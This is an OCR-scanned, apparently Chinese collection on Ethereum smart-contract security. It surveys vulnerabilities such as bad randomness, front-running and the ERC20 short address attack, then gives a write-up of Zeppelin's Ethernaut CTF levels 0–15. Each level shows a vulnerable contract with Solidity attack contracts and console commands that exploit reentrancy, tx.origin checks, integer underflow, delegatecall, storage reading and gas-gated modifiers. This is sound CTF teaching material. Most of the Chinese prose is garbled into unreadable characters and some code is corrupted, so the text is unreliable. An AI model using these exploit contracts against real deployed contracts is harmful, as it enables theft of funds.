4, BAENEEEER Alice B9325 (BEMFRLTE) SR, FLURSRY gas 11
1832,

5. ATFXMESER, BERXZESHE LKA, ZIEERERE,

HithFiR

FELAKYE RS20 FuNIBENZL

https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-cont
racts-e5358c6b8620

EIFRRRIRIE, AEfieia

https://blog.0xproject.com/front-running-griefing-and-the-perils-of-virtual-settl
ement-part-1-8554ab283e97
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Frontrunning Bancor

https://www.youtube.com/watch?v=RL2nE3huNil
8. RIIEJRM

tOARAR /IR A1kt

HIR—ty THFEEZTHIRG, MRT LU IMAIEFEIZ TR XS S IR IR S
nZ.

NECHHEEEER B EIRE, L8R RRB=RIETE,
EiBig Solidity A block timestamp BIZaEBIZFEAL now,

B2, XMMENBEXR? kBT T!

AT RZH TERSRE R ERRELEESRERI

FTLARF AV E RES LUKk 2 SRR MK AT S AEHIRT A,

BER, blocktimestamp Bt (3&iR) BSTERENERVAERHER, W0# 6 FiA, IAbE
WU,

Rt R

345

http://blockchain.unica.it/projects/ethereum-survey/attacks.html#governmental

il

—BHEESKFRAETHE —RIKR,

TR T eE e EREEFSIHERIRE N TR,

FEFRZA, T ITREISTEZR, SRR BRI BIFR (SRIZREE
RUBJIEIRR) |, MRS EREfh D RIREEZZIR,

KE361

AT IEEREESE QHIZ RN, BB F6 TR LAR It X SRAGRT AR, (E—EfRE
£, IS E— M ESMMIRZXR, AERRRE— N XRAJER. WNRER
#Zir, BRENSEHRES, RSBEHTEMTRITEREEEZRS T TLAK:

-Nicola Atzei, Massimo Bartoletti #] Tiziana Cimoli
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function play() public {
require(now > 1521763200 && neverPlayed == true);
neverPlayed = false;
msg.sender.transfer(1500 ether);

Hith&=iR

LUK EREE AN KEEE

https://eprint.iacr.org/2016/1007

FELAKIGE e S 29 FuNIBEHEL

https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-cont
racts-e5358c6b8620

1R RE S LIS SR

https://blog.acolyer.org/2017/02/23/making-smart-contracts-smarter/

9. ]Gt I

AR TGS IR AREREIRE, ZFimREiR

ISR B IER IR ENEEB AN 20 FH A, (B FHFIE B
KE, —-PawetBylica

SIS R EVM AR ESAIERHERSHA0EIERA.

WEE LB ERE I ERIMISERI X —<, RS RNE RS e 188k
FEPZRIAERIEXS SEH TR,

X2 EVM AR EEFa? BENZESESAHES?

REBNMASBEAENMSR, BFLE, XNaAgEREEFIRS LA,

BAAXNRERSERAIER A, (EEREFHIER 7 EPILICE XSG 2 BB
SRAYE)RR,

Hitbr st a@FE . EENRLAHESESIEER javascript Blim, NIYSSSHEHEFL
HPRREEE.

REBENIEIMIBHAETF Coindash 1CO FIRBRE AR IAIMIT_EIEK T ABIRLAKYS
ik, FEIRS5EE ethers KERITHERIMELE,
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ZIMASER

2017/4/6—————s{aiEE FIEX REEELE 1000 57T

https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae
9d39fcd95

HEH R

RAIZZHE (s)

https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae
9d39fcd95

il

. RZATAPI EERZT8E, STLUEKI4 AR ISR,
. ?AF5, API transfer(address to, uint256 amount){fFEFTSESEESLIRENH

1IRE: B 12 UFF ORI (FHBRY 20 FHRE) FEREN 32 FUK

3. Bob (0x3bdde1e9fbaef2579dd63e2abbfObe445ab93f00) 3k Alice &Lt 20
M. RISt ERTLUE R R E.

4. Alice {83 APl #1 Bob (0x3bdde1e9fbaef2579dd63e2abbfObe445ab93f)
HIEAERT 19 i5ibtiE,

5. API B 12 M EFHiRFEHbIE, (EE9 31 MFRMAR 32 1M F 1. BRUhETELA
T_amount Z2FHRI—FT,

6. ]2, HITERESIRBN EVM B FREIBUERIKIERIET, HAE amount &
HRERMERRFTI. BRubEhHE 256 BLL LA,

HthE=i5

ERC20 faithit I isian

http://vessenes.com/the-erc20-short-address-attack-explained/

2T ERC20 12ttt i

https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/

BReA LB RS AR

https://blog.coinfabrik.com/smart-contract-short-address-attack-mitigation-fail

ure/
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MFRCHREII G E
https://github.com/OpenZeppelin/zeppelin-solidity/issues/261

10.RFRIKFIH
BT EZ A% £ F B EZATT T RE T A XY, TEJEEITFEA R TANEES
A4,
LAKIG TS MR,
FRTFAHREESANERES Solidity MRIAZIFSEMRA
MAESRFN TR TIRIEHER.
— LR ERAERNE RS LIRREES N ASRERT
FEIRBEHBEFASE R — I RFEH TR EFEBRIMEATRERE.
RERFEREGRERSATERMEMEFITHINS
HAVGREBRFANSEATHER.
FRIF RSN EEARR, EEIUFEERFEIR, ILUEAERSKAR
BRI
PEEFRERIRANMHRAIN, FFRARTERESSH
FHEFEFRFHTEREAAZEHEEIE].
XA Top10 AJRESUEA R, BHREIEREGLITARIARIREFIRRRIAT.

Christoph Jentzsch
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Zeppelin Ethernaut writeup

{E&: MitAh
[F3kR: [£2%] https://www.anquanke.com/post/id/148341

A3 A
BsT)1 g’d

Ethernaut 2 Zeppelin 2#H—1METF Web3 #0 Solidity FIEREEELIERIHIZTE
a8, BRlRT 15 BEfEH, SR 7ERENPIREHIISML2E-,
https://ethernaut.zeppelin.solutions

0. Hello Ethernaut

BEIX, FEBERHFHIE.

BEEE MetaMask {SEestEE, TJ#aZE] Ropsten test network, SIEWKS, =i
BUY, {SHCHIRERIt. HTE2MUINAMES, FrLABEERE.

FIF console, IREHIFIR/ L1, HIATIREHA LUGTRAIME 1,

F—REERRTENF, IRERBRREEA,

contract.info()

// "You will find what you need in info1()."
contract.info1()

// "Try info2(), but with "hello" as a parameter.”
contract.info2('hello")

// "The property infoNum holds the number of the next info method to call.”
contract.infoNum()

/1 42

contract.info42()

// "theMethodName is the name of the next method."
contract.theMethodName()

// "The method name is method7123949."
contract.method7123949()

// "1f you know the password, submit it to authenticate()."
contract.password()

// "ethernaut0"

contract.authenticate('ethernaut0’)

// done

RREREEALERIFS.
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1. Fallback
pragma solidity 70.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol’;

contract Fallback is Ownable {

}

mapping(address => uint) public contributions;

function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);

}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.senderf];

}

function withdraw() public onlyOwner {
owner.transfer(this.balance);

}

function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;

}

EXFRM
1. BRAELRY owner
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2. i5= balance

BEIMIEREL Fallback() HECABETEUE 1000 ether,

ENTLABI R EAREE, SREERD 1000 ether BIRJEASEY owner,

{B7E contribute() HFRHITEIXREEFE/NTF 0.001 ether AY%:. REAE, LLERAE,

AT owner ABEHE—MA, FREIGLHIMN fallback FE, BIE&ETHLERREL.
HEAKFRE—EEKIT<Bs0ER fallback RE, EXE, REEKEIAT 0, FHE
SIEAKT 0, BIEIAk/9 owner,

A help() &, THETUMTHITIESERME. EFEEE—T Wei F Ether HUH%IR,

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()

2. Fallout
pragma solidity 70.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol’;
contract Fallout is Ownable {
mapping (address => uint) allocations;

/* constructor */

function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;

}

function allocate() public payable {
allocations[msg.sender] += msg.value;

}

function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);

}
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function collectAllocations() public onlyOwner {

}

msg.sender.transfer(this.balance);

function allocatorBalance(address allocator) public view returns (uint) {

}
}

B4

return allocations[allocator];

BRFEM

1. BAAEZIRY owner

—MRERENEL, HEPKEE owner BIRA Fallout() BREL, BXEMNERE, &
E e,

BTHAFA... RaRKRXRATREERE, HP—P2 | 1, KEXET ..
TREBAEZRE T MNERREE— X MRIERERS, KID7T.

FTLAE RS A T 7.

contract.Fallout({value: 1})
3. Coin Flip
pragma solidity 20.4.18;

contract CoinFlip {

uint256 public consecutiveWins;

uint256 lastHash;

uint256 FACTOR =
578960446186580977117854925043439539266349923328202820197287920039565
64819968;

function CoinFlip() public {

consecutiveWins = 0;

function flip(bool guess) public returns (bool) {

uint256 blockValue = uint256(block.blockhash(block.number-1));

if (lastHash == blockValue) {
revert();
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}

lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins+ +;
return true;

} else {
consecutiveWins = 0;
return false;

}

EXRM

1. EEIERTS 10 )X

FACTOR 3 27255, coinFlip £58R<H 1 & 0

HET— B ERERE

X242 Ry X R (IPEZLAVIRIRE.,

FEUKIGERE AT RENE TV SRMIEZER o BRAY, EAXSEE FREEER
RNFHY, ABEASALER, FALTIEERERFENEEABER,

ItEoh, & timestamps XEEH T el RSB AEIEMF.

EXETF, HFEAFIA block.blockhash(block.number-1) SE4REHENEL, IXE0]TR
WY, FATRTLARBE NG, SSHTRETERITN, BHITRIE.

EEAL:  http://remix.ethereum.org
pragma solidity 20.4.18;

contract CoinFlip {

uint256 public consecutiveWins;

uint256 lastHash;

uint256 FACTOR =
578960446186580977117854925043439539266349923328202820197287920039565
64819968;
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function CoinFlip() public {
consecutiveWins = 0;

function flip(bool guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));

if (lastHash == blockValue) {
revert();

}

lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;

} else {
consecutiveWins = 0;
return false;

contract Attack {

CoinFlip fliphack;

address instance_address = instance_address_here;

uint256 FACTOR =
578960446186580977117854925043439539266349923328202820197287920039565
64819968;

function Attack() {
fliphack = CoinFlip(instance_address);

}

function predict() public view returns (bool){
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uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;

}

function hack() public {
bool guess = predict();
fliphack.flip(guess);

}
}

RFEM 10 X hack() EREREDA.
4. Telephone
pragma solidity 20.4.18;

contract Telephone {
address public owner;

function Telephone() public {
owner = msg.sender;

}

function changeOwner(address owner) public {
if (tx.origin != msg.sender) {
owner = _OWner;

}
}
}

X

1. AELE owner

ARG, XEBRERE txorigin #1 msg.sender HX3,
tx.origin @R ZMKRIEXTT.

msg.sender EiBRRIRIXTT.

BREZTS— &Y Attack RFEBBIRS2IHA changeOwner()

IlEET, tx.origin J3 FBF, msg.sender /9 Attack, BIRJZeid4&{4, B/ owner
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pragma solidity 70.4.18;
contract Telephone {
address public owner;

function Telephone() public {
owner = msg.sender;

}

function changeOwner(address owner) public {
if (tx.origin != msg.sender) {
owner = _OWnNEer;

}
}

contract Attack {
address instance address = instance _address_here;
Telephone target = Telephone(instance address);

function hack() public {
target.changeOwner(msg.sender);

}

HEEL, B hack() EREERDE,
5. Token
pragma solidity 20.4.18;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;

}
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function transfer(address to, uint value) public returns (bool) {
require(balances[msg.sender] - value >= 0);
balances[msg.sender] -= value;
balances[ to] += value;
return true;

function balanceOf(address owner) public view returns (uint balance) {
return balances[ owner];

}
}

2 HIRVEEE & HH RJRT
£ transfer() EREE—1T require BB, XERJ balances #0 value #=E uint, LA

balances /3 20, < value = 21, &£ Tim, NMESEIKRIE, FHEH—ERROEE.
contract.transfer(player address, 21)

RTRHLEEEEGEY, NiZER require(balances[msg.sender] >= value)
g 2(FF OpenZeppelin #4EHPRY SafeMath EEsRAMEEARIZIE.

6. Delegation

pragma solidity 20.4.18;

contract Delegate {
address public owner;

function Delegate(address owner) public {
owner = _OWner;

}

function pwn() public {
owner = msg.sender;

}
}

contract Delegation {
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address public owner;
Delegate delegate;

function Delegation(address delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;

}

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

EZETF Solidity s7#FRMEEABEAT call #1 delegatecall

call SMEBERRRY, ETFMEIMNPEH

delegatecall #MEBEARRY, ETXE2REAELY

EAREAH, Delegation £294RY delegatecall ERESEAE, SHAILIESLIAERM

ITERRE, RFEVER Delegate 5294 pwn B&ER, BIAJ1E owner ZEREC.
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});

7. Force

pragma solidity 20.4.18;
contract Force {/*

MEQOW ?
/7
__Joo
[~ =o=/

() _mm)

'k/}
NIEZIXN SR —ReEIER.
EILET TFTREBEK: 529 balance XF 0

RMIX M ELFRBEHAHET AT LK
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XEBRZIEREEZIN— trick, ¥—1ME29ERA selfdestruct &, thFtEEERAET,
JLUSFIEFERRER—1 8L, HEEHIXNAKT.

FIERBREFNRE—EYN, 11—k, ARER, CRRASHMBLBETEA.
pragma solidity 70.4.18;

contract Attack {
address instance _address = instance _address_here;

function Attack() payablef{}
function hack() public {
selfdestruct(instance address);

}

A hack(E%y, ARIHEH,

AILAVEE], Attack SEIEBERAYAHER, FREL 1 wei #4577 Force 549,
8. Vault
pragma solidity 20.4.18;

contract Vault {
bool public locked;
bytes32 private password,;

function Vault(bytes32 password) public {
locked = true;
password = password;

}

function unlock(bytes32 password) public {
if (password == _password) {
locked = false;
}
}
}
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R

1. {& locked = false

BLIPERER, FEXE password KiFEIGELY, M password BHIZE T private,
T ARSI ERAE).

RRZBFARERET, X2 PEEXRYE FIEREEY, MXPE ENREER
HEATFHHY,

BJLAR getStorageAt RECKIGASHNRLTENE. GHE—HFNEE, password 5
ZANEEBR, position A 1, El— XY, getStorageAt HREFEER LEIEREL, aILAGE

ERICIRELER alert Wk,

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
// A very strong secret password :)

contract.unlock('A very strong secret password :)')

IR ZEREEE], Zeppelin B[HAVEINE: NIRIFREIREFAR, EEESUEMN\XHEZF)
EENEHHTINE, FEREERAANIZER LAIX,
9. King
pragma solidity 20.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol’;
contract King is Ownable {

address public king;
uint public prize;

function King() public payable {
king = msg.sender;
prize = msg.value;

}

function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
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BHREZERER, HENRZiEREEKRA King, FHB/BREIHE King (FRIFKIFR. =
#2232 instance B, MESEHTE King HIUE, FERTEHELLEMWARA King,

BREBEMIC—T Solidity #J1#EEmA=.

<address>.transfer()

LREKWHTS throw; EIRKE

RAM&iEERT Gas AR, BILEEAN (reentrancy)

<address>.send()

HRIEXRMATRIRE false

RetGiEsbs Gas HEA, FHLEEAN (reentrancy)

<address>.call.value()()

HRIERMETRIRE false

BIBFTERT A Gas AR, FEEBXMBLLEEAN (reentrancy)

ELBE—TRME, SEIA King Zfa, MREALMNLENE, SELEKIRRE
153, (ERRIR transfer(). LMERE, = transfer() ERKXMSEIRIAE, BPAMR
BUAEREX—FTR—ERRARNANE, NEBLEREm a7, Bt ASTERIFHRY
King,

BAREE—TERRSHMN

fromWei((await contract.prize()).toNumber())
// 1 eth

HE—NIRIGLY, SRR ERLHEIR.
pragma solidity 20.4.18;

contract Attack {
address instance_address = instance_address_here;

function Attack() payable{}

function hack() public {
instance_address.call.value(1.1 ether)();

}
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function () public {
revert();

}

B hack(), MAFRI King
Submit instance Zf5, 13%A2 King
10. Re-entrancy

pragma solidity 20.4.18;

contract Reentrance {
mapping(address => uint) public balances;

function donate(address to) public payable {

balances[ to] += msg.value;

}

function balanceOf(address who) public view returns (uint balance) {

return balances[ who];

}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

function() public payable {}

DASP HESE—RYEANIRRE, BRZRIHEERR DAO HHEERRIRIGE
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s e T withdraw() BREl, SLIEHITIRMAT, A require HOXFIRTIEMMKF
EARREENAE, BEEER msg.sender.call.value(amount)() k&% Ether, 4MESE
P EENAE M B &S EUE.

TEIRMAERES, FE—MNEF withdraw R (RABFERERDZE) | BiE
FLIHE— S ERRRERANS A A AHRESHNERN Ether £3/EE.

BE>S—T Solidity &J1#EEmAR.

<address>.transfer()

LREKWHTS throw; EIRKE

RetGiEsbs Gas HEA, FHLEEAN (reentrancy)

<address>.send()

HRIEXRMATRIRE false

RAetGiEEbs Gas A, FHLEEAN (reentrancy)

<address>.call.value()()

HRIEXRMETRIRE false

BIBFTE R Gas AR, FEEBXMBLLLEAN (reentrancy)

{5 msg.sender.call.value(amount)() &% TRrARIF Gas AR, BEaTLARIIH
TR HRTREM,

BEARAAMIHER, TJLIERIEVRHUIEANT 1 ether, IJFEERBERSLRIR
FRHFIBE GRS L.

HEEGLY
pragma solidity 20.4.18;

contract Reentrance {
mapping(address => uint) public balances;

function donate(address to) public payable {
balances[ to] += msg.value;

}

function balanceOf(address who) public view returns (uint balance) {
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return balances[ who];

}

function withdraw(uint _amount) public {

if(balances[msg.sender] >= amount) {

if(msg.sender.call.value(_amount)()) {
_amount;

}

balances[msg.sender] -= amount;

}
}

function() public payable {}
}

contract Attack {

address instance address = instance _address_here;
Reentrance target = Reentrance(instance address);

function Attack() payablef{}

function donate() public payable {
target.donate.value(msg.value)(this);

}

function hack() public {
target.withdraw(0.5 ether);

}

function get_balance() public view returns(uint) {
return target.balanceOf(this);

}

function my_eth_bal() public view returns(uint) {
return address(this).balance;

}
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function ins_eth_bal() public view returns(uint) {
return instance_address.balance;

}

function () public payable {
target.withdraw(0.5 ether);

}

1. IR

balance 5 0

Reentrance MKFREN 1 ether

Attack MPRER 0 ether

2. @A donate() LAINEEGLIRISHRBEIIUEEK 1 ether

balance /A 1

Reentrance MKFRER 2 ether

Attack MkPsRER O ether

3. R hacker() I&[E] 0.5 ether, [EIEARENEITER withdraw(), fAZENFKE

balance iz

Reentrance MKFRER O ether

Attack TKP&EN 2 ether

RIS B IR R ARETEA] 1 ether tH2H.

HEALGHRIENE, ERRARER transfer() SKHITHEDIERE,
11. Elevator

pragma solidity 20.4.18;

interface Building {
function isLastFloor(uint) view public returns (bool);

}

contract Elevator {
bool public top;
uint public floor;
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function goTo(uint floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = floor;
top = building.isLastFloor(floor);

}

}
}
RS
1. {§ contract.top /3 true

Building #0947 isLastFloor &%, AFTLIBTRE.

XA, SoiEA building.isLastFloor( floor) #4T if ¥k, AEE
building.isLastFloor(_floor) {845 top . Eff top = true, N
building.isLastFloor( floor) —XEARHEIRE] false, S XJERAIRMA] true,

RERRER, RE—MIREN true NEE, RARA isLastFloor() REET, KBH
B BixaEl,

A, BESERHR isLastFloor FEES, WFTH view B, view RREESIEE
BUTE, BRFA2EEHITEIRINRE.

[EILE T TR BESHRR

Sometimes solidity is not good at keeping promises.

This Elevator expects to be used from a Building.

BT, HEITIS view AYFEEIA:

view functions: The compiler does not enforce yet that a view method is not
modifying state.

EREFERIEMESUASIER FILIKAERR/SME (view) BIFZZL. (EXZEREEY, =8
Solidity #mi¥smiRBEHEIFITHEIREL (view function) FEEIEHRE.

A LMEREA TR Y. FERL:
pragma solidity 70.4.18;

interface Building {
function isLastFloor(uint) view public returns (bool);
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contract Elevator {
bool public top;
uint public floor;

function goTo(uint floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = floor;
top = building.isLastFloor(floor);
}
}
}

contract Attack {
address instance address = instance _address_here;
Elevator target = Elevator(instance_address);
bool public isLast = true;
function isLastFloor(uint) public returns (bool) {

isLast = ! isLast;
return isLast;

function hack() public {
target.goTo(1024);

A hack() R, BKIHIE contract.top & true
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12. Privacy
pragma solidity 70.4.18;

contract Privacy {

bool public locked = true;

uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;

uint8 private denomination = 255;

uint16 private awkwardness = uint16(now);
bytes32[3] private data;

function Privacy(bytes32[3] data) public {
data = data;

}

function unlock(bytes16 key) public {
require(_key == bytes16(data[2]));
locked = false;

/*

A bunch of super advanced solidity algorithms...

KTAYR ATAME ATA ) XTA ), *TAY), *TAD

I M I ! M M
KTAYKR RTAMR XTA ) XTAY), *ATANKR *TA K
I/ M I ! M M !

* KTA Kk ATAYKR XTAMR XTA ) ¥TAYK XTAYR XTA ___/V
I/ M ! ! M M I I

Yk ORKTAYNR ATAYR ATAYR ATAYR XTAYR XTAYR RTAYR
. . . . . . . ) ~|_(0.0)

Ak XTAY]R XTAY), *ATAYR (ATA) *TAY)k *ATAYR XTAY)R %!
" " " o o o o LS UU o UuU

*/
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Z8l Vault BMFHARIR. 52—, F getStorageAt() 1E5E ERIFIEIZH SR,

web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)});
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// 0x00000000000000000000000000000000000000000000000000000086b2ff0a01
// 0x6be9a25967a00434c9634d02b673c5bb4al4ad1fe8f1439e41f7f926dc3a884a
// Oxcfle2bfa2471a6cfa8edd2cab4140248f94ca74b876911129444677bed4bd9c88

// 0x06b3b79c6b707e890d7160ed7a1c16df8a16704fddObafcbc08e3094ab05dd40
// 0x0000000000000000000000000000000000000000000000000000000000000000

AJLEE, 8—MEEURE 32 =15, RIE Solidity AN, HZTEFTEEINT
32 FHlY, 25EENEREXZSE, WRINLEEENEEEAEY 32 FHANE.

fr= ID BEELHEFE
bool public locked = true &5 2 =75 -> 01
uint8 private flattening = 10 &§ 2 =& -> Oa
uint8 private denomination = 255 5 2 &7 -> ff
uint16 private awkwardness = uint16(now) &5 4 =35 -> 86b2

NIGFXI R 7 S5—MFhERRY 86b2ff0a01
FERREERY data[2] MINIZAESRPUFGEN
0x06b3b79c6b707e890d7160ed7a1c16df8a16704fddObafcbc08e3094ab05dd40
FEEXEBEA— bytes32 #5i)y bytes16, 7E Remix-ide _f—MEELL,
FRIARFZRE] 16 F1HEIE]
13. Gatekeeper One
pragma solidity 20.4.18;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);

I

}

modifier gateTwo() {
require(msg.gas % 8191 == 0);

I

}

83



L2%=-2018 FHT-55 2 #8

modifier gateThree(bytes8 gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));

I

}

function enter(bytes8 gateKey) public gateOne gateTwo gateThree(_gateKey)
returns (bool) {
entrant = tx.origin;
return true;

EEHE 3 1 modifier B,

1. gateOne() FIFAZAEIHIZHY Telephone BIXIR, ME=7SELIKAER enter() BIF]
B,

2. gateTwo() ZERE msg.gas % 8191 == 0

3. msg.gas MHEHEAJHEIAR remaining gas, £ Javascript VM IKETi#{T Debug,
£ Step detail =HALIBRIXNTE.

B8, A enter() ERERIEHR, HJLUSEEINRER call KESEEHIEIERY gas
#HE., BY debug HE—PMFEEKE gas #E 41170,

gateThree() tHEVEREER, & tx.origin FEF=PY4=75#2p 0000 RpH],

bytes8(tx.origin) & OxFFFFFFFFOO00FFFF BIEI# RS,

WMEELY
pragma solidity 20.4.18;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);

I

}
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modifier gateTwo() {
require(msg.gas % 8191 == 0);

I

}

modifier gateThree(bytes8 gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));

I

}
function enter(bytes8 gateKey) public gateOne gateTwo gateThree(_gateKey)
returns (bool) {

entrant = tx.origin;
return true;

contract Attack {

address instance_address = instance address_here;
bytes8 gateKey = bytes8(tx.origin) & OxFFFFFFFFOOOOFFFF;

GatekeeperOne target = GatekeeperOne(instance address);

function hack() public {
target.call.gas(41170)(bytes4(keccak256("enter(bytes8)")), gateKey);

}

iEF hack() B, FehkBlE.
14. Gatekeeper Two
pragma solidity 70.4.18;

contract GatekeeperTwo {
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address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);

I

}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);

}

modifier gateThree(bytes8 gateKey) {
require(uint64(keccak256(msg.sender)) A uint64(_gateKey) == uint64(0) - 1);

I

}

function enter(bytes8 gateKey) public gateOne gateTwo gateThree( gateKey)
returns (bool) {
entrant = tx.origin;
return true;

}
}

gateOne() 1 E—F—*, FE=/2KEA enter() BIAHESEM.
gateThree() tBtLEER, BTFENFE, AILIEZEELE,

_gateKey = (bytes8)(uint64(keccak256(address(this))) A (uint64(0) - 1))
EHIRERITHHIE gateTwo() , AT HRESLRNSE.

BT —TX# https://ethereum.github.io/yellowpaper/paper.pdf
caller : Get caller address.
extcodesize : Get size of an account’ s code.

EFREERNEE, BEIRSORBRAT, BARSHERETER.
FHENE, TR
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Note that while the initialisation code is executing, the newly created address

exists but with no intrinsic body code.

During initialization code execution, EXTCODESIZE on the address should return
zero, which is the length of the code of the account while CODESIZE should return the
length of the initialization code.

EHER, TR (BIERE)  MHFRNXRIERFIIZNE ERER, FHrat
WELER, AKX, Iht, &R EXTCODESIZE() iR[El/g 0

B4, RBEEER=HAOIERIHTRBERRB SR enter() BIHRESRM-
pragma solidity 20.4.18;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);

!

}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);

}

modifier gateThree(bytes8 gateKey) {
require(uint64(keccak256(msg.sender)) A uint64(_gateKey) == uint64(0) - 1);

I

}

function enter(bytes8 gateKey) public gateOne gateTwo gateThree(_gateKey)
returns (bool) {
entrant = tx.origin;
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return true;

contract Attack {

address instance_address = instance _address_here;
GatekeeperTwo target = GatekeeperTwo(instance address);

function Attack(){
target.enter((bytes8)(uint64(keccak256(address(this))) » (uint64(0) - 1)));

WESY, Ha)EREIERERY targetenter(), TAHIKE.
15. Naught Coin
pragma solidity 20.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol’;
contract NaughtCoin is StandardToken {

string public constant name = 'NaughtCoin’;

string public constant symbol = '0x0';

uint public constant decimals = 18;

uint public timeLock = now + 10 years;

uint public INITIAL SUPPLY = 1000000 * (10 ** decimals);
address public player;

function NaughtCoin(address _player) public {

player = player;
totalSupply = INITIAL SUPPLY;
balances[player] = INITIAL SUPPLY;

Transfer(0x0, player, INITIAL_ SUPPLY);

function transfer(address to, uint256 value) lockTokens public returns(bool) {

88



L2%=-2018 FHT-55 2 #8

super.transfer(_to, value);

}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
if (now < timeLock) {

I

}

} else {

I

}
}
}

RIEE, FEBBCH balance 5= GRRMT transfer() ERECRHITERUIRIE,
EEBEIB— modifier lockTokens(), BR&TRETFEAEEEA transfer() RE. F
ERRIE bypass it

TREZEYRE StandardToken F&2Y, MEFHEH TIRBE NS ERC20 £
WEYINERYE =

https.//github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts

https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md

EFENPFHEAHESERRIR, BEXESHEIREGLMENOL

EEOMEEREER, BRT transfer() Z4b, &8 transferFrom() BREBATLARITEE
MRHERAE.

BT NaughtCoin F&AHFHIRELMIZEO, FIITLUEREER, NMEAT
lockTokens() , #HERISEZOBIELL.

FEFEMNZ, 5 transfer() A&, A transferFrom() FE msg.sender 3REEN,
BTFRNEFHESLIN owner, FILIESHEBECHEN, FURMEEREONEEDS

function approve(address spender, uint256 value) returns (bool success)
BE—/R, BN BRIKFARERIREIL, FTLIFRERE—1%=7 NaughtCoin &
29, 7= import RUBHREIMBIEE github %%,
pragma solidity 70.4.18;
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import
'https://github.com/OpenZeppelin/zeppelin-solidity/contracts/token/ERC20/Standar
dToken.sol’;

contract NaughtCoin is StandardToken {

string public constant name = 'NaughtCoin’;

string public constant symbol = '0x0’;

uint public constant decimals = 18;

uint public timeLock = now + 10 years;

uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;

function NaughtCoin(address player) public {
player = player;
totalSupply = INITIAL SUPPLY;
balances[player] = INITIAL SUPPLY;
Transfer(0Ox0, player, INITIAL SUPPLY);

function transfer(address to, uint256 value) lockTokens public returns(bool) {
super.transfer(_to, value);

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
if (now < timeLock) {

I

}

} else {

I

HETHESEFELMI, BEREERBERE console #{E
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contract.approve(player, (await contract.INITIAL SUPPLY()).toNumber())
/] BB RN

contract.transferFrom(player, 3rd _contract address, (await
contract.INITIAL SUPPLY()).toNumber())
/] ANERBIE=S &%, 5= player BY balance

// You have completed this level !!!

®Bazzfa, AJLE—T Zeppelin SHATEIN

When using code that’ s not your own, it’ s a good idea to familiarize yourself
with it to get a good understanding of how everything fits together. This can be
particularly important when there are multiple levels of imports (your imports have
imports) or when you are implementing authorization controls, e.g. when you’ re
allowing or disallowing people from doing things. In this example, a developer might
scan through the code and think that transfer is the only way to move tokens around,
low and behold there are other ways of performing the same operation with a

different implementation.

References

https://remix.readthedocs.io/en/latest/
http://solidity.readthedocs.io/en/v0.4.23/
https://ethereum.github.io/yellowpaper/paper.pdf
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
